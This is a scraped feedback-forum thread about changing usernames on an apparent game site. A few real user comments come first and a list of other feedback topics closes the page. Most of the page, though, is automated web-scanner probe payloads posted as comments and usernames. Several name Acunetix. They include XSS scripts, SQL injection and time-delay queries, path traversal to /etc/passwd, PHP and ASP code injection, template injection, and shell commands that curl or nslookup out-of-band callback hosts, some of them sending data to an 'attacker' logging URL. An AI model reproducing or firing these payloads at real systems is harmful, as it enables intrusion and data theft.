Feedback

Change Name? by Anonymous - 155 months ago

I think it would be awesome if you could change the name after you sign up.

• Erik

  We're working on a settings page! If you want us to change your name manually, email us at hello@rootof.com

• Ann0ying0range2

  I'd like my username changed to sindragosa. Can you guys do that for me? Thanls! :D

• Memerman902

  hi

• Memerman902

  hi

• Memerman902

  how to change ship

• Memerman902

  how to change ship???????????????

• Enrirome

  How to change ship

• Hugoivarsson12

  HOW TO CHANGE SHIP! pls

• Hugoivarsson12

  HOW TO CHANGE SHIP! pls

• Goldbe

  how to change ship!!!!!!!!!

• Goldbe

  how to change ship!!!!!!!!!

• Halvinkitlasten

  how do you change ship

• Halvinkitlasten

  how do you change ship

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ${9999215+10000459}

• WfxYANoW

  1CHxlbfcpSO

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• 1DMQ3B70xcO

  1

• ${9999962+9999049}

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  NtCTm3wv

• WfxYANoW

  1

• WfxYANoW

  response.write(9876786*9778745)

• WfxYANoW

  /etc/shells

• WfxYANoW

  ../1

• WfxYANoW

  PUCYoeUp: nsaLqSH4

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  '+response.write(9876786*9778745)+'

• WfxYANoW

  echo yhrinn$()\ icukhi\nz^xyu||a #' &echo yhrinn$()\ icukhi\nz^xyu||a #|" &echo yhrinn$()\ icukhi\nz^xyu||a #

• WfxYANoW

  "+response.write(9876786*9778745)+"

• WfxYANoW

  &echo uajknb$()\ fteiiq\nz^xyu||a #' &echo uajknb$()\ fteiiq\nz^xyu||a #|" &echo uajknb$()\ fteiiq\nz^xyu||a #

• file:///etc/passwd

  1

• WfxYANoW

  c:/windows/win.ini

• response.write(9727717*9562804)

  1

• uLxExYcx

  1

• WfxYANoW

  1

• Anonymous

  1

• WfxYANoW

  bxss.me

• WfxYANoW

  1&echo dgrguw$()\ jaxluv\nz^xyu||a #' &echo dgrguw$()\ jaxluv\nz^xyu||a #|" &echo dgrguw$()\ jaxluv\nz^xyu||a #

• ../WfxYANoW

  1

• R93dMJED: 5B40a0Dd

  1

• WfxYANoW

  1&n957715=v987666

• '+response.write(9727717*9562804)+'

  1

• WfxYANoW

  |echo djofir$()\ ahpxgb\nz^xyu||a #' |echo djofir$()\ ahpxgb\nz^xyu||a #|" |echo djofir$()\ ahpxgb\nz^xyu||a #

• cnF3MFU2RUc=

  1

• "+response.write(9727717*9562804)+"

  1

• WfxYANoW&n949290=v963860

  1

• WfxYANoW

  1|echo cjvbod$()\ dwznub\nz^xyu||a #' |echo cjvbod$()\ dwznub\nz^xyu||a #|" |echo cjvbod$()\ dwznub\nz^xyu||a #

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  )

• WfxYANoW

  '.gethostbyname(lc('hitnc'.'wyrzrlie302c0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(81).chr(114).chr(79).'

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  (nslookup -q=cname hitnaldosrvwrf5493.bxss.me||curl hitnaldosrvwrf5493.bxss.me))

• WfxYANoW

  $(nslookup -q=cname hitluqbkxqgsk25554.bxss.me||curl hitluqbkxqgsk25554.bxss.me)

• WfxYANoW

  ".gethostbyname(lc("hitmx"."sxabfsmb49d62.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(86).chr(105).chr(68)."

• WfxYANoW

  1

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  '"()

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  1'&&sleep(27*1000)*pbytnv&&'

• WfxYANoW

  gethostbyname(lc('hitnw'.'yrfxrcuqd0dcb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(86).chr(105).chr(68)

• WfxYANoW

  ^(#$!@#$)(()))******

• /etc/shells

  1

• WfxYANoW

  ";print(md5(31337));$a="

• )

  1

• WfxYANoW

  1"&&sleep(27*1000)*pmywzx&&"

• WfxYANoW

  &nslookup -q=cname hitksbhuevydu46fd4.bxss.me&'\"`0&nslookup -q=cname hitksbhuevydu46fd4.bxss.me&`'

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  &(nslookup -q=cname hitdpjclwcnsvff774.bxss.me||curl hitdpjclwcnsvff774.bxss.me)&'\"`0&(nslookup -q=cname hitdpjclwcnsvff774.bxss.me||curl hitdpjclwcnsvff774.bxss.me)&`'

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  |(nslookup -q=cname hityuzourtkds5f535.bxss.me||curl hityuzourtkds5f535.bxss.me)

• WfxYANoW

  1'||sleep(27*1000)*dpqxpt||'

• !(()&&!|*|*|

  1

• c:/windows/win.ini

  1

• WfxYANoW

  '.print(md5(31337)).'

• bxss.me

  1

• WfxYANoW

  xfs.bxss.me

• ';print(md5(31337));$a='

  1

• WfxYANoW

  `(nslookup -q=cname hitiketronscv19910.bxss.me||curl hitiketronscv19910.bxss.me)`

• WfxYANoW

  1"||sleep(27*1000)*quupox||"

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  '"

• WfxYANoW

  ;(nslookup -q=cname hitesduoahzetf0f60.bxss.me||curl hitesduoahzetf0f60.bxss.me)|(nslookup -q=cname hitesduoahzetf0f60.bxss.me||curl hitesduoahzetf0f60.bxss.me)&(nslookup -q=cname hitesduoahzetf0f60.bxss.me||curl hitesduoahzetf0f60.bxss.me)

• WfxYANoW

  <!--

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitfgpzrjdajea1dc1.bxss.me||curl${IFS}hitfgpzrjdajea1dc1.bxss.me)

• WfxYANoW

  1'"()&%<zzz><ScRiPt >YOlT(9473)</ScRiPt>

• ";print(md5(31337));$a="

  1

• xfs.bxss.me

  1

• WfxYANoW

  1

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitvpehkeftsid28d8.bxss.me||curl${IFS}hitvpehkeftsid28d8.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvpehkeftsid28d8.bxss.me||curl${IFS}hitvpehkeftsid28d8.bxss.me)&`'

• '"

  1

• ^(#$!@#$)(()))******

  1

• <!--

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >YOlT(9759)</ScRiPt>

• WfxYANoW

  comment

• ${@print(md5(31337))}

  1

• WfxYANoW

  comment

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(109).concat(68).concat(117).concat(77)+(require"socket" Socket.gethostbyname("hitkp"+"xmvfqhom64a9e.bxss.me.")[3].to_s)+"

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(114).concat(70).concat(120).concat(68)+(require'socket' Socket.gethostbyname('hitxd'+'qhdqbioo7db8e.bxss.me.')[3].to_s)+'

• WfxYANoW

  19481824

• ${@print(md5(31337))}\

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(121).concat(73).concat(98).concat(70)+(require'socket' Socket.gethostbyname('hitbi'+'djrinyok6257a.bxss.me.')[3].to_s)

• '"()

  1

• WfxYANoW

  bfg3863＜s1﹥s2ʺs3ʹhjl3863

• WfxYANoW

  comment/.

• '.print(md5(31337)).'

  1

• comment

  1

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW'&&sleep(27*1000)*tvnjqv&&'

  1

• HttP://bxss.me/t/xss.html?%00

  1

• comment

  1

• bxss.me/t/xss.html?%00

  1

• WfxYANoW"&&sleep(27*1000)*httylo&&"

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  1

• comment/.

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW'||sleep(27*1000)*eksfab||'

  1

• WfxYANoW"||sleep(27*1000)*nagqqj||"

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >YOlT(9704)</ScRiPt>

• WfxYANoW

  1<WNHUBT>TP8BH[!+!]</WNHUBT>

• WfxYANoW

  1

• WfxYANoW

  1<script>YOlT(9490)</script>

• WfxYANoW

  1<script>YOlT(9864)</script>9864

• WfxYANoW

  1<ScR<ScRiPt>IpT>YOlT(9770)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >YOlT(9749)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9627></ScRiPt>

• WfxYANoW

  1<ScRiPt >YOlT(9378)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=YOlT(9141)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9491'>

• WfxYANoW

  1p6qNNb4H

• WfxYANoW

  1<body onload=YOlT(9801)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=YOlT(9292)>

• WfxYANoW

  1<img src=xyz OnErRor=YOlT(9055)>

• WfxYANoW

  1<img/src=">" onerror=alert(9449)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%59%4F%6C%54%289517%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\YOlT(9430)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;YOlT(9175)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=YOlT(9162)>

• WfxYANoW

  1

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  -1 OR 2+756-756-1=0+0+0+1 --

• WfxYANoW

  -1 OR 2+599-599-1=0+0+0+1

• WfxYANoW

  -1' OR 2+386-386-1=0+0+0+1 --

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  -1' OR 2+164-164-1=0+0+0+1 or 'Xfav74iQ'='

• WfxYANoW

  -1" OR 2+39-39-1=0+0+0+1 --

• WfxYANoW

  1}body{zzz:Expre/**/SSion(YOlT(9803))}

• WfxYANoW

  1yn2aP <ScRiPt >YOlT(9773)</ScRiPt>

• WfxYANoW

  1<WPHSRJ>NOYMH[!+!]</WPHSRJ>

• WfxYANoW

  1<ifRAme sRc=9628.com></IfRamE>

• WfxYANoW

  1<amJbmZk x=9092>

• WfxYANoW

  1<img sRc='http://attacker-9697/log.php?

• WfxYANoW

  1<a56FqNs<

• WfxYANoW'"()&%<zzz><ScRiPt >YOlT(9945)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >YOlT(9536)</ScRiPt>

  1

• WfxYANoW9375022

  1

• bfg2337＜s1﹥s2ʺs3ʹhjl2337

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >YOlT(9354)</ScRiPt>

  1

• WfxYANoW<W6IQVM>HQMDR[!+!]</W6IQVM>

  1

• WfxYANoW<script>YOlT(9058)</script>

  1

• WfxYANoW<script>YOlT(9538)</script>9538

  1

• WfxYANoW<ScRiPt >YOlT(9267)</ScRiPt>

  1

• WfxYANoW<ScRiPt >YOlT(9917)</ScRiPt>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<body onload=YOlT(9859)>

  1

• WfxYANoW<img src=xyz OnErRor=YOlT(9527)>

  1

• WfxYANoW<img/src=">" onerror=alert(9289)>

  1

• WfxYANoW\u003CScRiPt\YOlT(9036)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;YOlT(9517)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=YOlT(9222)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(YOlT(9412))}

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoWsVJPx <ScRiPt >YOlT(9763)</ScRiPt>

  1

• WfxYANoW<WLYWQM>LAHYC[!+!]</WLYWQM>

  1

• WfxYANoW<ifRAme sRc=9244.com></IfRamE>

  1

• WfxYANoW<aZqlXZv x=9365>

  1

• WfxYANoW<img sRc='http://attacker-9891/log.php?

  1

• WfxYANoW<aGmBpES<

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  13s7oYdCM'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 997=(SELECT 997 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 146=(SELECT 146 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 506=(SELECT 506 FROM PG_SLEEP(15))--

• WfxYANoW

  1TibxIypO' OR 578=(SELECT 578 FROM PG_SLEEP(15))--

• WfxYANoW

  1uhpoWDAP') OR 484=(SELECT 484 FROM PG_SLEEP(15))--

• WfxYANoW

  10GqOkSuv')) OR 81=(SELECT 81 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@qbS1N

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWANpSKPP9

  1

• WfxYANoW

  1

• -1 OR 2+109-109-1=0+0+0+1 --

  1

• -1 OR 2+99-99-1=0+0+0+1

  1

• -1' OR 2+348-348-1=0+0+0+1 --

  1

• -1' OR 2+542-542-1=0+0+0+1 or 'qVyhwP43'='

  1

• -1" OR 2+536-536-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWZNXxpm42'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@VmE66

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• mobaqeys

  1

• fwalbytb

  response.write(9019628*9920178)

• hfkmrwgq

  1

• fwalbytb

  '+response.write(9019628*9920178)+'

• hfkmrwgq

  1

• oqcmdmkd

  set|set&set

• fwalbytb

  "+response.write(9019628*9920178)+"

• hfkmrwgq

  cIHdYk9k

• oqcmdmkd

  $(nslookup mLSTDigD)

• response.write(9163192*9806933)

  1

• hfkmrwgq

  -1 OR 2+766-766-1=0+0+0+1 --

• '+response.write(9163192*9806933)+'

  1

• hfkmrwgq

  -1 OR 2+929-929-1=0+0+0+1

• oqcmdmkd

  &nslookup gfDtSFh2&'\"`0&nslookup gfDtSFh2&`'

• "+response.write(9163192*9806933)+"

  1

• set|set&set

  1

• opavqbsr

  3ZwAmN2M

• $(nslookup 6KnFXsZD)

  1

• IpRzv8Xr

  1

• &nslookup t5UJbDiX&'\"`0&nslookup t5UJbDiX&`'

  1

• sujflcuf

  1

• hfkmrwgq

  -1' OR 2+460-460-1=0+0+0+1 --

• eeatyalq

  ${9999673+9999965}

• hfkmrwgq

  -1' OR 2+727-727-1=0+0+0+1 or 'YSiFM8QY'='

• gsocheta

  ../../../../../../../../../../etc/passwd

• ${9999887+10000302}

  1

• hfkmrwgq

  -1" OR 2+989-989-1=0+0+0+1 --

• gsocheta

  ../../../../../../../../../../../../../../../proc/version

• kdbkpbha

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• hfkmrwgq

  if(now()=sysdate(),sleep(4),0)/*'XOR(if(now()=sysdate(),sleep(4),0))OR'"XOR(if(now()=sysdate(),sleep(4),0))OR"*/

• gsocheta

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• kdbkpbha

  1some_inexistent_file_with_long_name.jpg

• gsocheta

  ../../../../../../../../../../etc/passwd.jpg

• kdbkpbha

  Http://testasp.vulnweb.com/t/fit.txt

• hfkmrwgq

  (select(0)from(select(sleep(4)))v)/*'+(select(0)from(select(sleep(4)))v)+'"+(select(0)from(select(sleep(4)))v)+"*/

• gsocheta

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• kdbkpbha

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• hfkmrwgq

  -1; waitfor delay '0:0:4' --

• gsocheta

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• kdbkpbha

  testasp.vulnweb.com

• hfkmrwgq

  -1); waitfor delay '0:0:4' --

• gsocheta

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• hfkmrwgq

  1 waitfor delay '0:0:9' --

• gsocheta

  /etc/passwd

• hfkmrwgq

  3IydmBzP'; waitfor delay '0:0:9' --

• gsocheta

  %2fetc%2fpasswd

• gsocheta

  /.././.././.././.././.././.././.././../etc/./passwd%00

• hfkmrwgq

  -1;select pg_sleep(9); --

• hfkmrwgq

  -1);select pg_sleep(9); --

• hfkmrwgq

  -1));select pg_sleep(9); --

• hfkmrwgq

  NAvcd3ao';select pg_sleep(9); --

• gsocheta

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• 1some_inexistent_file_with_long_name.jpg

  1

• hfkmrwgq

  NTZ2c3YF');select pg_sleep(13); --

• Http://testasp.vulnweb.com/t/fit.txt

  1

• hfkmrwgq

  tAQ6gIuA'));select pg_sleep(13); --

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• hfkmrwgq

  1

• testasp.vulnweb.com

  1

• hfkmrwgq

  1

• dWw2cjVqRFc=

  1

• pR1fVKox

  1

• qodqskpj

  1&n969119=v982997

• gsocheta

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• -1 OR 2+784-784-1=0+0+0+1 --

  1

• -1 OR 2+887-887-1=0+0+0+1

  1

• -1' OR 2+250-250-1=0+0+0+1 --

  1

• -1' OR 2+393-393-1=0+0+0+1 or 'nVHLNII0'='

  1

• -1" OR 2+798-798-1=0+0+0+1 --

  1

• gsocheta

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• gsocheta

  file:///etc/passwd

• gsocheta

  /\../\../\../\../\../\../\../etc/passwd

• 1 waitfor delay '0:0:9' --

  1

• gsocheta

  WEB-INF/web.xml

• dLn9XiKV'; waitfor delay '0:0:9' --

  1

• gsocheta

  /WEB-INF/web.xml

• gUcoQtxD';select pg_sleep(3); --

  1

• gsocheta

  WEB-INF\web.xml

• xxCgw8tH');select pg_sleep(3); --

  1

• ../../../../../../../../../../etc/passwd

  1

• kw8dYQo6'));select pg_sleep(3); --

  1

• wwxswfmi

  )

• wwxswfmi

  !(()&&!|*|*|

• wwxswfmi

  ^(#$!@#$)(()))******

• )

  1

• !(()&&!|*|*|

  1

• ^(#$!@#$)(()))******

  1

• gojbhygt

  '"()

• '"()

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• otrtnetj

  ;print(md5(acunetix_wvs_security_test));

• otrtnetj

  ';print(md5(acunetix_wvs_security_test));$a='

• otrtnetj

  ";print(md5(acunetix_wvs_security_test));$a="

• otrtnetj

  ${@print(md5(acunetix_wvs_security_test))}

• sujflcuf

  1

• otrtnetj

  ${@print(md5(acunetix_wvs_security_test))}\

• Anonymous

  1

• ;print(md5(acunetix_wvs_security_test));

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• bdpyawbk

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• ${@print(md5(acunetix_wvs_security_test))}

  1

• /etc/passwd

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• %2fetc%2fpasswd

  1

• tbswbpxs

  1

• rfqgyokq

  http://hitbp7NLQmBFU.bxss.me/

• tbswbpxs

  comment

• http://hitlrum0ClIcf.bxss.me/

  1

• tbswbpxs

  comment

• oytaaibv

  1

• tbswbpxs

  comment/.

• oytaaibv

  1'"

• tbswbpxs

  1

• oytaaibv

  \

• comment

  1

• comment

  1

• comment/.

  1

• oytaaibv

  @@yJL9I

• olcectch

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• oytaaibv

  JyI=

• gblnxogj

  /www.vulnweb.com

• /www.vulnweb.com

  1

• yfsaejcn

  '"

• yfsaejcn

  <!--

• '"

  1

• <!--

  1

• gepemwfv

  1'"()&%<acx><ScRiPt >ytGT(9230)</ScRiPt>

• oytaaibv

  (select convert(int,CHAR(65)))

• oytaaibv

  1

• 1'"

  1

• pcllwekf&n968945=v945235

  1

• \

  1

• @@Nkw61

  1

• JyI=

  1

• (select convert(int,CHAR(65)))

  1

• file:///etc/passwd

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• gepemwfv

  '"()&%<acx><ScRiPt >ytGT(9664)</ScRiPt>

• gepemwfv

  1_9101

• gepemwfv

  acu4133＜s1﹥s2ʺs3ʹuca4133

• gepemwfv

  {{9999662*9999321}}

• gepemwfv

  1<ScRiPt >ytGT(9990)</ScRiPt>

• gepemwfv

  1<WQJIN4>8CRTZ[!+!]</WQJIN4>

• gepemwfv

  1<script>ytGT(9609)</script>

• gepemwfv

  1<ScR<ScRiPt>IpT>ytGT(9408)</sCr<ScRiPt>IpT>

• gepemwfv

  1<ScRiPt >ytGT(9708)</ScRiPt>

• gepemwfv

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9032></ScRiPt>

• gepemwfv

  1<ScRiPt >ytGT(9204)</ScRiPt>

• gepemwfv

  1<video><source onerror="javascript:ytGT(9668)">

• gepemwfv

  1<isindex type=image src=1 onerror=ytGT(9723)>

• gepemwfv

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9448'>

• gepemwfv

  1<body onload=ytGT(9377)>

• gepemwfv

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=ytGT(9817)>

• gepemwfv

  1<img src=xyz OnErRor=ytGT(9994)>

• gepemwfv

  1<img/src=">" onerror=alert(9643)>

• gepemwfv

  %31%3C%53%63%52%69%50%74%20%3E%79%74%47%54%289656%29%3C%2F%73%43%72%69%70%54%3E

• gepemwfv

  1\u003CScRiPt\ytGT(9263)\u003C/sCripT\u003E

• gepemwfv

  1&lt;ScRiPt&gt;ytGT(9662)&lt;/sCripT&gt;

• gepemwfv

  1<input autofocus onfocus=ytGT(9668)>

• gepemwfv

  <a HrEF=http://www.vulnweb.com></a>

• gepemwfv

  <a HrEF=jaVaScRiPT:>

• gepemwfv

  [url=http://www.vulnweb.com][/url]

• gepemwfv

  1<img<!-- --> src=x onerror=alert(9615);//><!-- -->

• gepemwfv

  1}body{acu:Expre/**/SSion(ytGT(9963))}

• gepemwfv

  1<% contenteditable onresize=ytGT(9431)>

• gepemwfv

  1_nPBL2 <ScRiPt >ytGT(9567)</ScRiPt>

• gepemwfv

  1<WCFEPE>JMAPY[!+!]</WCFEPE>

• gepemwfv

  1<ifRAme sRc=9735.com></IfRamE>

• gepemwfv

  1<z72638 x=9771>

• gepemwfv

  1<img sRc='http://attacker-9634/log.php?

• gepemwfv'"()&%<acx><ScRiPt >ytGT(9330)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >ytGT(9610)</ScRiPt>

  1

• gepemwfv_9655

  1

• acu3122＜s1﹥s2ʺs3ʹuca3122

  1

• {{9999502*10000471}}

  1

• gepemwfv<ScRiPt >ytGT(9610)</ScRiPt>

  1

• gepemwfv<W1VFRK>MQRTU[!+!]</W1VFRK>

  1

• gepemwfv<script>ytGT(9600)</script>

  1

• gepemwfv<ScRiPt >ytGT(9161)</ScRiPt>

  1

• gepemwfv<ScRiPt >ytGT(9552)</ScRiPt>

  1

• gepemwfv<body onload=ytGT(9181)>

  1

• gepemwfv<img src=xyz OnErRor=ytGT(9914)>

  1

• gepemwfv<img/src=">" onerror=alert(9451)>

  1

• gepemwfv\u003CScRiPt\ytGT(9755)\u003C/sCripT\u003E

  1

• gepemwfv&lt;ScRiPt&gt;ytGT(9727)&lt;/sCripT&gt;

  1

• gepemwfv<input autofocus onfocus=ytGT(9223)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• gepemwfv}body{acu:Expre/**/SSion(ytGT(9977))}

  1

• gepemwfv<% contenteditable onresize=ytGT(9791)>

  1

• gepemwfv_zaEk2 <ScRiPt >ytGT(9775)</ScRiPt>

  1

• gepemwfv<W35VXK>H5FMC[!+!]</W35VXK>

  1

• gepemwfv<ifRAme sRc=9547.com></IfRamE>

  1

• gepemwfv<kA2OHU x=9436>

  1

• gepemwfv<img sRc='http://attacker-9435/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8065 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2858 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  799 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  747 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  710 agree

• Change Name?
  By Anonymous - 155 months ago
  Vote

  682 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  662 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  661 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  645 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  633 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

  623 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  622 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  603 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

